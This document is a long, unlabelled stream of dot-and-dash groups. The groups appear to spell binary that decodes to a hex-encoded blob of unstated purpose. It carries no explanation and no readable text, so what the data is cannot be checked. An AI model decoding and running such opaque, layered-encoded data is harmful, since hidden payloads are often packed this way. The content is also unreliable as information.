-/......--..../.....-...--./......--.-.-/......--.--./......--..--/.....-...-.-/......---..-/......--.-../......--...-/......--..-./......--.-.-/.....-...-.-/......---..-/......--..--/......--.---/.....-...-../......--.-../.....-...-../.....-...-../......--.-.-/......--.-.-/......---..-/......--.--./......--.---/......--.-../.....-....-./......--..-./.....-....-./......--..../......--..--/.....-...-../.....-...-.-/......--.---/.....-....--/......--..--/.....-...--./......--..--/......---.../......--.-.-/.....-...--./......--...-/......--.---/.....-....-./.....-....-./......--..--/.....-....--/.....-...-../.....-...-../......--..--/.....-.....-/......--.-.-/......---..-/......--.-.-/......--...-/.....-....-./.....-...-../.....-...--./.....-.....-/.....-...-.-/......--..--/......--.---/......--.-.-/.....-....-./.....-....-./.....-...--./.....-...-.-/.....-....--/.....-....-./.....-....-./.....-...-../......--...-/......--.--./......--.--./......---.../.....-...-.-/......--.-../.....-...--./.....-.....-/.....-....-./......--..../.....-...--./......--..-./.....-....--/......--..-./.....-....-./......--.--./.....-...-.-/......--..../......---..-/......---.../.....-....-./.....-....--/.....-....-./.....-...--./......--..../......---..-/......---..-/......--...-/......--..--/......--...-/......--.-.-/......--.---/......--..../.....-...--./......--..../.....-....--/......---.../.....-...-.-/......--..-./......---..-/.....-....--/.....-...--./......--..-./......---.../.....-...--./......--..--/......--..-./......--.--./......--..-./......--.---/......--..-./......---.../......--..-./......--.-../.....-.....-/.....-...-.-/.....-....-./.....-...--./.....-....--/......---.../.....-.....-/......--.--./.....-...-.-/......--.-.-/......--.-../......--.---/.....-...-.-/.....-...--./.....-...-.-/......--.-../......--...-/.....-....--/.....-...-../.....-....--/.....-...-.-/.....-....--/......--..--/......--...-/......--.---/.....-....--/.....-...--./.....-....--/......--.-../......--...-/.....-....-./.....-...--./......--..--/......---.../......--.-.-/.....-...--./.....-...--./.....-.....-/.....-.....-/......--.---/.....-...-../......--..../......--.---/......--.--./......--.---/.....-....--/......--.-../.....-...--./.....-....--/......--.--./.....-....--/......---.../.....-...-.-/......---..-/.....-....--/......--.-../.....-...--./......--..--/......--..-./......--.-.-/......--.--./......--.-.-/......--.-.-/......--.--./......--..--/......--.--./.....-....-./.....-....--/.....-...-.-/.....-....-./.....-...-.-/......---.../.....-.....-/......--.---/......--..--/......--.-../......--...-/.....-...--./......--..--/......---.../......--..--/......--.---/......---.../.....-...--./......---..-/......---.../.....-...-../......---..-/.....-...--./......--..--/.....-....-./.....-....-./......--.---/......---..-/.....-...-.-/......--...-/......---.../......--...-/.....-.....-/.....-....-./.....-....--/.....-....-./.....-...--./.....-...-.-/......--.-../......---..-/......--.--./.....-...-../.....-...--./.....-....-./......--..-./.....-...-.-/.....-...-.-/.....-.....-/.....-....--/.....-...-.-/.....-...--./......---..-/.....-.....-/......---..-/......--.--./......--..../......--.--./......--...-/.....-...-.-/.....-....-./.....-.....-/.....-...-../.....-....--/.....-...-.-/.....-...-../......---..-/.....-...-../......--.---/......---.../......--..--/......--.-../......--.--./......---..-/.....-...--./.....-.....-/.....-.....-/......--.---/......--..-./......---..-/.....-....-./......--.-.-/......--..../.....-...-../......--...-/......--...-/.....-....-./......--..--/.....-....-./......--.--./.....-...--./.....-...--./.....-....-./......--..--/......--.---/......---..-/......--.--./......--..--/......--.-.-/......--...-/......---.../......--.---/......--..--/......--..--/......--..--/.....-.....-/......--..--/......--..../......--..--/.....-....--/......--.--./......--.-.-/.....-...--./......--.---/.....-....-./.....-...-../.....-...-.-/.....-...-.-/.....-...-../.....-....--/.....-...-.-/......--..../......--.-.-/......--..--/.....-....-./.....-....-./......--.--./.....-.....-/......--.---/......--..-./......--..--/.....-...--./......--..--/.....-...-.-/......--.---/.....-.....-/......--.---/......--.-../.....-...-../......---..-/.....-...--./......--..-./.....-.....-/......---..-/......--.-../......--.-.-/......--..../.....-...--./......---..-/.....-...-.-/......--.--./.....-...-../......--.-../.....-.....-/.....-...--./......---.../......--..-./......--..-./.....-...--./......--..../.....-...-.-/......--..../......--...-/.....-....-./......---.../......---..-/......--..-./......--.---/.....-...-.-/.....-...--./......--..../.....-...--./.....-...--./......--..--/.....-...-.-/.....-...-.-/.....-...-../......---..-/......--.--./......---..-/......---.../.....-...-../......--.--./......---.../......---..-/.....-...-.-/.....-....-./.....-....--/.....-....-./......--...-/.....-.....-/......--..--/.....-.....-/......---..-/......--.---/......---..-/.....-...-../......--.-.-/......--.-.-/......--.---/......--.-../......--..--/......--.--./......--..-./.....-....-./.....-...-../......--..-./.....-.....-/......--...-/.....-....-./.....-...--./.....-.....-/......--...-/......--..--/.....-.....-/......--..-./......--..-./.....-.....-/......--.--./......--.-.-/.....-...-.-/......--..-./......--.--./.....-...--./......--.-.-/.....-...--./......--..../.....-...--./.....-...--./......---..-/......--.---/.....-.....-/......--.--./.....-....-./.....-....--/.....-....-./.....-.....-/.....-....--/......--..--/......--.-.-/......--.---/......--..-./......--..-./.....-...-../.....-.....-/.....-...--./......--..../......--..-./.....-....--/.....-...--./.....-....--/.....-....--/......--..-./.....-...-.-/......--.-../.....-.....-/.....-...-.-/.....-...--./......--..-./.....-...-../......--.---/.....-...-../......--..-./......--..-./.....-....-./......--.--./......--..-./.....-....-./.....-...--./......--.-.-/......--...-/......--..--/......--..--/.....-....-./......--..--/.....-...--./.....-...-.-/.....-.....-/......--.---/......--.--./.....-....--/......--..--/.....-....--/.....-...-../......--..../......---.../......--.-../.....-...-.-/.....-...-../.....-...-../......--..--/.....-...--./......--.--./......---..-/.....-...--./.....-....-./.....-.....-/......--.-.-/......--.--./......---..-/.....-...--./.....-...--./.....-.....-/.....-...-.-/......---..-/.....-...-.-/.....-...-../.....-....-./......---..-/......---.../......--.-.-/......--.-../.....-...-.-/.....-....--/......---..-/.....-....-./......--..--/......---..-/.....-...--./......---..-/.....-....--/......--.---/......---..-/......--..--/......--...-/.....-...--./.....-...-../......--.---/......--.-.-/.....-...--./......---.../.....-....-./......--.--./.....-...--./.....-...-.-/.....-...-.-/.....-....--/.....-....--/......--.-../.....-.....-/......--.-../.....-....--/......--.-.-/......---..-/.....-...--./.....-...--./......--.-.-/.....-....--/......---.../......--..../.....-...-.-/.....-...--./......--..--/.....-...--./.....-...-.-/.....-.....-/......--.-.-/......--.---/......---.../......--.-../......--.--./......--.--./.....-...--./.....-...-.-/......--..--/......--.-.-/.....-.....-/......--..../......---..-/......--.--./......--.-.-/.....-...-.-/......--.--./.....-....--/.....-....-./......---.../.....-...--./......--..--/.....-....--/.....-...-../.....-...-../.....-....-./.....-...-.-/......--..--/.....-....-./.....-.....-/......--..../.....-...-.-/......--.---/.....-....--/.....-...-../......--.-.-/.....-...-.-/......--.---/......--.---/.....-....-./.....-...-.-/.....-...--./.....-...--./......--.--./......---.../......--...-/......--..-./......--.-.-/.....-....-./......--.---/.....-...-../.....-...-.-/.....-...-.-/......---.../......--..--/.....-...-.-/.....-....-./.....-....-./.....-...-.-/.....-...-.-/.....-...-../......---..-/.....-....-./.....-....--/.....-...--./.....-...-.-/.....-...-.-/......--..-./......---.../......--.---/......--..../......--..--/.....-.....-/......--..--/.....-...--./.....-....-./.....-....-./.....-...--./......---.../.....-...-../......--.---/.....-....-./.....-...-../......--.-../......--.---/......--.---/......--.-.-/......---..-/......--.---/.....-....-./.....-....--/......--.--./......---.../......---.../......---.../......--...-/.....-.....-/.....-....-./......---..-/......--.---/......--..--/.....-...--./.....-...-../......--..../.....-....--/......--.-../.....-....-./......--.-.-/......--..-./.....-...-../......--.---/......--.-.-/......--.---/.....-...-.-/......--...-/......--.-.-/......---.../......--.---/......--.---/......--.---/.....-.....-/.....-...--./......--.---/......---..-/.....-...--./......--...-/.....-....--/......--..--/......--...-/......---..-/......--..-./.....-...-../.....-....--/......---..-/......---.../.....-...--./......--.-.-/.....-...-.-/......--.-.-/.....-....--/.....-....-./.....-....-./.....-...-.-/......---.../.....-.....-/......--...-/.....-....--/......---.../......---..-/......---..-/......--..../......--.---/.....-...--./......--.---/.....-.....-/.....-...-.-/......---..-/.....-.....-/.....-...--./......--.-.-/.....-...-../......---..-/......--...-/......--..--/......---..-/......--.---/.....-....--/......--..--/......--.-.-/.....-...--./......--.--./.....-.....-/......--.-.-/......---..-/.....-...--./......--.---/......--.-../.....-...-../......--.--./......--..-./.....-...-.-/.....-...-../.....-....--/......--..-./......---.../.....-....--/.....-....--/.....-.....-/......---..-/......--.---/.....-...--./......--..--/......--.-.-/.....-....-./......--..../.....-...-.-/......--..--/......--.---/.....-....--/......--.---/.....-...--./.....-....-./......---..-/.....-....--/.....-...-.-/.....-...-../.....-....-./.....-...-../......--.-.-/......--.-.-/.....-...--./......--.--./.....-...-.-/......--..../......--..--/......--..--/......--..-./......--..--/......--...-/.....-....-./......--..../.....-....-./......--.---/.....-.....-/......---.../.....-...--./......--.---/.....-...-../.....-...-../.....-.....-/......--.-.-/......--.-../......---.../......--.-.-/......--..../......--..--/......--..--/......--.-.-/......--.-.-/......--.---/......--..-./......--.--./......---..-/.....-....--/......---..-/.....-...-../......--.---/......--..-./.....-....-./.....-....-./.....-.....-/......--.---/......--..--/......--..-./......--..-./.....-...-.-/......--..-./......--.-../.....-...--./.....-...-../.....-...-../.....-....--/.....-...-.-/......--.---/......--.-.-/......--.--./.....-...-.-/......--.-.-/.....-.....-/......--..-./.....-...-.-/......--.---/......--.--./......--..../.....-...-../......--.--./......--.---/.....-...--./......--..../......--...-/......--.-.-/......--..../......--.-../.....-....-./......--..../......--..--/......--..../......--.-../......--...-/......--.-../......--..../......--..../......--..../......--..../......--..../......--..../......--..../......---.../......--..../......--..../......--..-./.....-.....-/......---..-/.....-...-.-/......--.---/......--.-.-/......--.-.-/......--..--/.....-...-../......--.-.-/......--...-/.....-...-../.....-....-./.....-...-../.....-...-../......---..-/......---.../.....-...-.-/......--..../......--..--/......--..../......--..../......--..../......--..../......---.../......---..-/......--..../......--..--/......--..../......--..../......--..../......--..../......--..../......---.../......--..../......--..../......--..../......--..../......--..../......--..../......--.--./......--.--./......--.--./.....-....--/......--.--./......--...-/......--.--./......--.---/......--..-./.....-...-.-/......--.--./.....-....-./......--.--./......--.---/......--.--./......--.-.-/......--..../......--...-/......---.../......---..-/......--..../......--..--/......--.---/......--.--./.....-...--./.....-....--/......---..-/.....-.....-/......--..../......--...-/......--..--/......--...-/......--..../......--.---/......--.---/......--.---/.....-.....-/......--.-.-/......--..--/......--..-./.....-...-../.....-....-./.....-.....-/......--..../......--..--/.....-...--./......--..--/......--.--./......---..-/......--.--./......--.---/......--..-./.....-....--/.....-...--./......--.-../......--.-../.....-....--/......--.-.-/......--.---/.....-.....-/......--..../......--...-/......--.---/......---.../.....-....--/......---..-/.....-...-.-/......--.-.-/......--.-../.....-....--/......--..--/......---.../......---.../.....-....-./......--..-./......---..-/......--..../......---.../......--..../.....-....-./......--.-.-/.....-....-./......---.../......--.---/......--.---/......---..-/.....-...-../......--..-./.....-.....-/.....-...-.-/......--...-/......--.---/......--..-./.....-...-../......--...-/......---.../......--.-../......---..-/......---.../......--.-.-/......---..-/.....-...-.-/......--..--/......--..--/......--...-/......--..../.....-....--/.....-....-./.....-...-../......--.---/......--..../......--..../......--.-.-/......--..--/.....-...-.-/......---..-/.....-.....-/.....-.....-/......--...-/......--.--./.....-....-./.....-...--./......--...-/......--.-../......---..-/......--.---/......--.-../.....-.....-/......---..-/.....-....--/......--...-/.....-....--/.....-...-../.....-...-../......--...-/......--..--/.....-...-../......---..-/......--...-/.....-....--/.....-.....-/......--...-/.....-....--/.....-....--/.....-.....-/......--.-../.....-...--./......--.---/......---.../.....-....--/......--..--/.....-....--/.....-....--/.....-....--/.....-...-.-/......--.-../.....-...-.-/.....-....--/......---..-/.....-....-./.....-....--/.....-....-./......--..../.....-....--/.....-...-../......--..--/......--...-/.....-....-./......--.---/.....-...-../......--...-/......--...-/......--.-.-/.....-...--./......--..../......--.---/......--.-.-/.....-...--./......--.---/......--..-./......--..../......---.../......--.-.-/......--...-/......--..-./......--..-./......--.-../......--.-../.....-....--/......--.-../......--..--/......---..-/.....-...-../......---..-/......--...-/.....-...--./.....-....-./......--..../......---.../......--..../......--...-/......---..-/......--...-/......---..-/......---..-/.....-.....-/......---..-/......--.-../.....-....-./......--..--/......---..-/.....-....-./......--..-./......---..-/.....-.....-/......---..-/......--.---/......--.--./......---..-/......--.--./.....-.....-/......--...-/......--.--./.....-.....-/......---.../......--.---/.....-.....-/.....-....--/......--...-/.....-....--/.....-...--./......--.--./.....-...-.-/......--.-.-/......--.--./......--...-/......--.-.-/.....-....-./.....-.....-/......--.-../......--...-/......--..--/......--.--./......--..-./......--..-./.....-...-../.....-...-.-/......--.---/......--...-/......--...-/......---..-/.....-...-.-/......--.-.-/.....-...-.-/......--..-./......--..../.....-.....-/.....-...--./......--.--./.....-.....-/......---.../......--..-./......--.-../.....-...--./......--...-/.....-....--/......---.../.....-....-./......--..../.....-....--/......--.---/......---.../......--...-/......---..-/......--..--/......---.../.....-...--./.....-....--/......--..-./......---.../.....-...-../.....-...-../......--..--/......--..--/......---..-/......--..../.....-.....-/.....-....--/......--.-../......---.../......--..--/......--...-/.....-....--/......---.../.....-...-.-/......--.---/.....-.....-/......--..-./......---.../.....-....-./.....-...--./......---.../......--..--/.....-...--./......--..../......--..-./.....-.....-/.....-...-../......--.--./.....-...--./.....-...-.-/.....-...-../......---..-/......--.--./......--.-.-/......---.../......---.../......--.---/.....-....--/......--.-../......--.--./......--...-/......--..-./......--..-./......--..../......--..../......--.---/......---..-/.....-...-../......--.-.-/......---.../.....-....--/......--.---/.....-...-../.....-...-../.....-....-./......--..-./......--.-../......--..-./......--.-../......--..--/......--.---/......--..--/.....-....-./......--.-../......---..-/......--.-.-/.....-...-../.....-....--/......--..-./......--.-../.....-...-.-/.....-...--./......--..../.....-...--./......--..-./.....-...-.-/......--..../.....-....-./......--.-../......--.-../......--.-.-/......---..-/......--..--/.....-....--/......--.-../.....-....--/......--.-.-/......--.---/......--..--/......--.---/......--.--./......--.-.-/......--.-../......--..../.....-....-./......--.--./......--.---/......---..-/.....-.....-/......---.../.....-....-./.....-...--./.....-....-./......--.-../......--..../......---..-/......--.-../......--.-.-/......--.-../......--..--/......--...-/......--...-/......--.-../.....-...--./.....-....--/.....-...-.-/......--.-../......---.../......--.---/.....-...-.-/......--.---/......--..../......--..-./......--.-.-/......--...-/......--.-.-/......--..-./......--..--/......--...-/......--..--/......--..../......--.-../......--.-../......---..-/......---..-/......--.-.-/.....-....-./......--.-../......--...-/......--.-.-/.....-...-../.....-....-./......--.--./.....-....-./......--..-./......--...-/.....-.....-/......---.../......--..--/......--...-/.....-....--/......---..-/.....-....-./.....-.....-/......---.../......---.../......--.--./.....-...-.-/......--...-/.....-....--/......--..--/......--..../.....-...--./.....-...--./.....-...-.-/......--...-/......---..-/......---.../.....-...-.-/.....-...-../......--.---/.....-...-.-/......--.-.-/.....-.....-/.....-....--/......---..-/......--.---/.....-....--/.....-.....-/.....-...-.-/.....-.....-/......--..../......--..../.....-.....-/......--.-../......--...-/.....-.....-/.....-...-../......---..-/.....-....--/.....-...-../.....-....-./......---..-/.....-....-./......---.../.....-...-../.....-....-./.....-....--/.....-...-../......---..-/......--...-/......--.---/......---.../......--..--/......--..-./......---..-/......---..-/.....-...-../......--.---/.....-...-.-/......--.---/......--.-../.....-....-./.....-...-../......--..--/.....-.....-/......--.-../......---..-/......--.--./......--..--/......--.---/......--..-./......---.../.....-...-.-/.....-...-.-/......--...-/.....-....-./......---..-/......--.-../.....-...-.-/......--..../.....-...-.-/......--.-../......--.-../......---.../......---.../......---.../......---.../......--.--./......--.---/......--..--/......--.--./......--.--./......--.---/.....-....-./......--.--./.....-....--/......--.-.-/......--..-./......---..-/.....-...-.-/......--.-../......--.---/.....-....--/......---.../.....-.....-/.....-....-./......--..--/......--..../......---..-/......--..--/.....-.....-/......--..../.....-...--./.....-...-../......---.../......--.-.-/......---.../.....-.....-/.....-.....-/.....-....--/.....-...--./.....-.....-/......--..../.....-....--/......---..-/......--..-./......--.---/......--...-/......---..-/.....-....-./......---..-/.....-...--./......--.---/.....-.....-/......--..--/......---..-/......--.-.-/......---..-/......--.-../......---.../.....-...-../......---..-/.....-.....-/.....-....--/......--.--./......--...-/......--.---/......---..-/......--..-./......--.---/......---..-/......--.-../......--.---/......--.-../......--..--/.....-...-.-/.....-...-../......--..-./.....-...--./......--..-./......--..../......--.--./......---..-/.....-....--/.....-....--/.....-...--./.....-....--/.....-.....-/......---.../......--.-../......--.---/......--.--./......---..-/......--..-./.....-...-../......---..-/......--..-./......--.--./......--..-./.....-...-../.....-...-../.....-....--/......--..../.....-...--./......--.--./......--...-/......--...-/......--..../......--...-/.....-...--./......---..-/......--..../......--..../......--..../.....-...-.-/......--...-/.....-...-.-/......--.--./......--.---/.....-.....-/......--.-../.....-....--/.....-...-../......--.-.-/......--...-/.....-....--/......--.-.-/......--..../.....-...-.-/......--.-../.....-...-../.....-....--/......---.../.....-...--./......--..--/......--.---/.....-.....-/......--.-.-/.....-...-../.....-...-.-/.....-....-./......---..-/......--...-/......--...-/......--..-./......--..-./......--.--./.....-....-./.....-...--./......---.../......--..-./......--..-./.....-....-./.....-...--./......--...-/......---.../......---.../......--.-.-/.....-...-.-/.....-...-.-/.....-...-../......--.---/......--.---/......---.../......--..-./.....-...-.-/......--..../......--.-.-/......--..-./......--..--/.....-.....-/.....-.....-/......---..-/.....-...--./......--.---/......--..-./.....-...--./......--..--/......--..../......--.-.-/.....-....-./......--..-./......--.---/.....-...-../......--.---/.....-...-../......---..-/......--..../......--..../......--.--./.....-....--/.....-...-../.....-....--/.....-...-.-/.....-...--./.....-....-./......---..-/.....-...-../.....-.....-/......--.---/......---.../.....-...-../......---.../.....-...--./.....-....-./.....-...--./......---..-/......--.---/.....-...--./......--.---/......---..-/......--.-../......--.-.-/......--...-/.....-...-../.....-...-.-/......--.--./.....-....-./......--.-../.....-...-../.....-...-.-/......--.---/......---.../.....-...--./......--.---/.....-...-.-/......---.../.....-...-.-/.....-....--/......--..-./......--.-../......--...-/.....-...-../......--..../.....-.....-/......--.-.-/......---.../.....-...-../.....-...-.-/.....-...-../......--...-/.....-....-./......---.../......--.--./......--.-../......--..--/.....-.....-/......---..-/......--..../.....-...-.-/......--...-/.....-...--./......---..-/......--..-./......--.--./......--..-./.....-...-.-/.....-....-./.....-...-../......---.../......--...-/......--.-../......---..-/......--.-.-/.....-....-./.....-...-../......--.-.-/......--.--./......--...-/......--.-.-/......---.../......--..-./......---..-/.....-.....-/......--.--./......--.---/......--..--/.....-.....-/.....-...--./......--.--./......--..../......--..-./.....-...-.-/......--.-.-/.....-....-./......---.../......--..-./......--.--./......--.---/.....-...--./......--..--/......---.../......--.-.-/......--..../.....-...--./......--..--/......--.---/.....-...-.-/......---.../......--..--/......--..../.....-....-./......--.---/.....-...-.-/......--.--./.....-.....-/.....-....-./.....-....-./......--..-./......---.../.....-...--./......--.--./.....-....-./.....-...-.-/......--...-/.....-...-../......---..-/.....-...-.-/.....-.....-/......---..-/......--.-../......--.-.-/.....-.....-/......--.-.-/......--.-.-/......---.../.....-...--./......--...-/......---.../.....-...--./......--.--./......---..-/......--...-/......--..--/......--..--/.....-....--/.....-....--/.....-....-./......--..--/......--...-/.....-...--./.....-...--./.....-....-./......--..--/.....-....--/.....-.....-/......--...-/.....-...-../.....-...-../......--.--./......--..--/......---.../......---.../......--.-../.....-....--/......--..../.....-...--./......---..-/.....-....-./......--..--/......--.-.-/.....-....-./.....-...-.-/......--.--./......---.../......--.-../.....-...--./......--.---/.....-...-../.....-....-./......--.-.-/......--...-/......--..../......---..-/......--.-.-/......--...-/......--..../.....-...--./......---..-/.....-.....-/.....-.....-/......---.../......--.-.-/.....-...-../.....-...-.-/......--.--./......--..--/.....-...--./......--.-.-/......--.--./......---.../......--..../......--..--/.....-.....-/.....-...--./.....-....--/......--.-.-/......--.-../.....-....--/.....-....--/......--.-../.....-...--./.....-...--./......--..--/......--..-./......--.-../......--..-./......--..-./......--.---/.....-.....-/.....-....--/.....-.....-/......--..--/.....-.....-/......--..--/......--...-/......---.../......--..../......--..-./......--.-.-/.....-.....-/......--.---/......--..--/......--.-../.....-...-../.....-....-./......--.--./......--.-../.....-.....-/......--..-./.....-....-./.....-....--/.....-...-../......--...-/.....-...-../.....-...-../.....-....--/......--.---/......---..-/......--..../......--..-./......--..--/......---.../......--...-/......---.../......--..../......---..-/......--.-../......--..-./......--..-./.....-...-.-/......--..--/.....-....--/.....-...-.-/......--..-./......--...-/.....-....-./.....-...-../.....-....--/.....-.....-/......---.../......--..../.....-...--./......--.--./......---..-/......--.-.-/......--.--./......---..-/.....-....--/......--.-.-/......--.-.-/......--.-../.....-.....-/.....-...--./......--..../......---..-/......--.-../......--..-./.....-...-.-/.....-.....-/.....-...-../.....-...-.-/......--..../.....-...-../......--.-.-/......--.--./......--..-./.....-....--/.....-.....-/.....-.....-/.....-...-../......--..--/......---..-/.....-....--/......--..-./......--.--./......---.../......--..--/......--.---/......--.--./......--..-./.....-....-./.....-....--/......--..../.....-.....-/.....-....-./.....-...-.-/......---.../......--.---/......--...-/......--..--/......--..../......--...-/......--.-../.....-...-../......--.--./......--.-../......---.../.....-...-../......---.../.....-....--/.....-...-.-/......--...-/.....-....--/......--.-.-/......--...-/......--.--./......--...-/.....-.....-/......--...-/.....-.....-/......--..../.....-...-../......--.-../......--..-./......--.-../......--.---/......---.../.....-.....-/......--.-../......--...-/......--.-.-/......---.../.....-...--./......--.--./.....-...-../.....-....-./.....-.....-/......--...-/......--..-./.....-....--/.....-.....-/......--..--/......--..-./......--.-.-/.....-...--./......--..-./......--..-./......--..../.....-....-./......--.---/......--.-../.....-...--./.....-...-.-/.....-....--/......--...-/......--.--./.....-...-../.....-...-../......--..../.....-...--./......--..--/......--...-/.....-...-../.....-...-.-/......--..--/......---.../......--.---/......--.---/.....-....-./.....-...--./......--..../.....-....-./.....-.....-/......--.---/......--.--./......---.../......--..-./......--.---/......---.../......--.--./.....-...-../.....-....--/......--..--/.....-...--./......--..--/......--.---/......--.---/......--..-./.....-.....-/......--.-.-/......--.-.-/.....-.....-/.....-...-../.....-...-.-/.....-...-../.....-.....-/.....-.....-/.....-....--/......--.---/.....-....-./......--..--/......--..-./......--..-./......--.---/......--..--/......--..--/.....-....-./......---.../......--.---/......--..../.....-....-./.....-...-.-/.....-....-./......--..--/.....-...-../.....-....--/.....-...-../.....-....--/......--..../......--.---/......--.--./.....-...-.-/......--.---/.....-...--./......---..-/......--..-./......--...-/......--..../.....-....--/.....-...-../......--...-/......--..-./.....-...-.-/.....-...-.-/......---..-/......--.---/......--.--./......--..../......--..../......--..../......--.--./......---.../......--.-.-/......--.--./......--.-../......--.---/......--..../.....-.....-/......--.---/......--...-/......--..--/......--.---/......--...-/......--..--/......---..-/......--.--./.....-....--/.....-...-.-/......--.---/......--.--./.....-.....-/.....-....-./.....-.....-/.....-...-../.....-...-.-/......---..-/......--..../......--.--./......--.-.-/......--.-.-/......--...-/......--..--/......--..../.....-...--./......--.-../.....-....--/......--...-/......---..-/.....-....-./......--.---/......--.---/......--.--./.....-...-.-/.....-.....-/......--.-.-/.....-...-../.....-...-.-/......--.-.-/.....-...--./......--...-/.....-....--/......--.--./......---.../......--.---/.....-...--./......--.---/......---..-/......--.--./.....-...--./......--..-./......--..-./......---..-/.....-....-./......--.-../......--..--/......--...-/.....-....-./......--.--./.....-.....-/.....-...-../......---.../.....-...-.-/.....-...--./......--.---/.....-...-.-/......--..-./......--...-/......--...-/.....-...-../......--...-/......--..-./.....-...-.-/......--.-../.....-....--/......---..-/......--..-./......--..../......--.-.-/......--..-./.....-.....-/......--..-./.....-.....-/......---.../......---.../......---..-/.....-.....-/......--.---/......---.../......--..-./......--.--./......---.../......--.-.-/......--..-./.....-....-./.....-...--./......--...-/......--...-/......--..-./......--.---/......--...-/......--..--/......--.--./......---..-/.....-....--/.....-.....-/.....-....-./.....-....-./......---.../......--.---/......--..-./.....-...-../......--.-.-/.....-.....-/.....-...-.-/......---..-/.....-...--./......--..--/......--...-/......--.-../......---.../......--.-.-/......---..-/......--.---/.....-...-../......---.../.....-...-.-/......--..-./......---..-/.....-....--/......--..--/.....-...-.-/......--..-./.....-...-.-/......--..-./......--..--/.....-...-../.....-....--/.....-...--./......--..../.....-.....-/......--..-./......---.../......--..--/.....-....-./......--..-./.....-...--./.....-...-.-/......--..-./.....-...-../......--...-/......--.-../......--..--/......--..../.....-...--./......--.-../.....-....--/......--..-./.....-...--./.....-...-../......--.--./......--.-.-/......--..--/......--..../.....-...-../.....-...-../.....-....-./......--.-.-/......--...-/......--.---/......--..../......--.-../......---.../......--.-.-/......--..--/.....-....--/......--.---/......---.../......--.--./.....-.....-/.....-...-../.....-...-.-/......--..-./......--.---/......--...-/......--..../.....-.....-/......--.--./.....-.....-/......--..--/......--.---/.....-.....-/......---..-/.....-...--./......--..../.....-...--./......--...-/......--.-.-/.....-...-../......--..-./......--.-.-/.....-...-../.....-...--./......--...-/.....-....--/......--..../......--..../.....-....-./......---..-/.....-....--/......--.--./......--.---/.....-....--/.....-.....-/.....-...-../......--..-./.....-....--/.....-....-./......--.-.-/......--..../.....-....--/......--...-/......--.---/.....-...-.-/......--.-../......--.---/......--.---/.....-.....-/......--..../.....-....-./......--.--./.....-...--./......--.-../......--.-../.....-....-./......--..-./......--.---/......---.../......--.---/......--.---/......---..-/......--..--/......--.---/......--...-/.....-....--/......---.../.....-....-./.....-.....-/......---.../......---.../.....-...-.-/.....-...--./.....-...--./......--..../.....-...-../......---..-/.....-.....-/......--.--./......--.--./......--.---/......---.../......--.---/.....-...-../.....-...-../......---.../......--..--/......---.../......---..-/......--..--/......--..-./.....-...-.-/......--.-../......--...-/.....-.....-/......---..-/.....-...--./......--.-.-/.....-...-.-/.....-.....-/......--.--./.....-....-./......--..-./......--.-../......--..-./......--.-../......--..--/......--...-/......--.-../......--.---/.....-...-.-/......--.---/.....-....-./......--...-/.....-...--./......--.-.-/......--...-/......--.-.-/......--.--./......--.-.-/.....-....--/......--..--/.....-...-../.....-....--/.....-...--./......---.../.....-....--/.....-.....-/.....-...-../.....-...-../......--.-../......---.../.....-...-../......--.---/......---..-/......--.---/......---..-/......--..--/......---..-/.....-...--./......---..-/.....-....--/......--..-./.....-.....-/......---..-/......--..../.....-....-./......--..-./.....-....-./......--.-../.....-...-.-/.....-....-./......--..-./.....-...-.-/......---..-/......---..-/......---..-/......--.-.-/......--.-.-/.....-....-./.....-....-./.....-...--./......--..--/.....-...-../......--.--./......--..-./......--...-/......--.---/.....-...-../.....-....--/......--...-/......--.-.-/......--.--./......--.-../......--..-./......--.--./.....-.....-/.....-....-./.....-....-./......---..-/......--.---/......--..../......--.-../.....-.....-/.....-....-./.....-....-./......--..../......--..--/......---..-/.....-...-../.....-...-../.....-....--/......--.--./......---..-/......--..../......--.---/......---..-/......--.--./......--.-.-/......--.--./......--..-./......--.---/.....-...-.-/.....-...-../......--.---/......--.--./......--..--/.....-....--/......--...-/......--.-.-/.....-...-.-/......---..-/......---..-/......--.--./.....-....-./.....-....-./.....-...-../......--..--/......--...-/.....-...-../......--.-../......--..-./.....-....-./......---..-/.....-.....-/.....-....-./.....-....-./.....-.....-/......---.../.....-...--./......---.../......---..-/......--.-.-/......--.--./......--..--/......--...-/.....-.....-/.....-...--./......--..--/.....-.....-/.....-....--/......---.../......--.--./.....-....--/......--.-../......--.---/......--.--./......--...-/......---..-/......--...-/.....-....-./.....-.....-/.....-...--./......--..-./.....-...-../......--.---/......--...-/.....-.....-/.....-.....-/......--...-/......--..-./.....-....--/......--.--./......--..--/......--.-.-/.....-....-./.....-...-../.....-...-../.....-...--./.....-...-../.....-...--./......--..-./......--..-./.....-.....-/.....-...-.-/.....-....--/.....-...-.-/......--...-/......--..--/.....-...-.-/......--.---/......--.---/......--.-.-/......---.../......--.--./......--.-.-/......--..--/......--..-./......--..--/......--.--./......--.--./.....-....-./......--..--/......--.---/.....-...-../......--...-/.....-...-../......--..-./......--.-.-/......--..-./......--...-/......---.../......--.-.-/......--..--/.....-...-.-/.....-....--/......--.-../.....-.....-/.....-.....-/......--..--/.....-...-.-/.....-....--/.....-...-../......--..--/......---.../.....-....--/......--...-/......--..../......--..--/......--.-../......--..../......---.../.....-.....-/.....-...--./......--.-../.....-.....-/......---..-/.....-...-.-/......--.--./......--..../......--..--/......---.../......--.-.-/.....-...--./.....-....-./......---.../......---.../......--.---/......--..-./.....-...-../......--.--./.....-....--/......--.---/......--.--./......---.../......--.---/......--.--./.....-....-./......--.--./......--..../......---.../......--..../.....-...-../.....-....--/.....-...-../......--..../......--.-../......--..../.....-...-.-/......--...-/.....-....-./......--.-.-/.....-...-../......--..--/.....-...-../......--..../.....-.....-/.....-...-.-/......--..--/......--.---/.....-....-./.....-...-../......--.-.-/.....-....-./.....-...--./.....-.....-/......---.../......--.-../......--..--/......--.-../.....-....-./......--..-./.....-...-../......--.-../......---.../......--.-.-/.....-...-.-/......--.---/......--...-/......--.-../.....-....-./......--..-./......---..-/......--.--./......--..--/......--.---/.....-....-./.....-....-./.....-....--/.....-....--/......--.-../......--...-/......--..--/.....-....-./.....-.....-/.....-....-./......--..../......--.--./......--.-.-/......--.--./......--.---/.....-...--./.....-...-.-/......--.---/.....-...-../.....-....--/.....-....-./.....-.....-/......--..--/.....-...--./.....-...--./.....-....--/.....-.....-/.....-....-./......--.-.-/.....-...--./......--.---/.....-...--./......--..../......--..--/......--..-./.....-...-.-/......--...-/.....-...-.-/......--..../.....-.....-/.....-....-./.....-....-./......--..-./.....-....-./.....-...-.-/......---..-/.....-.....-/......--.-.-/......--...-/......--...-/......--.--./.....-...-.-/.....-.....-/.....-....-./.....-....-./......--.---/......--..-./.....-....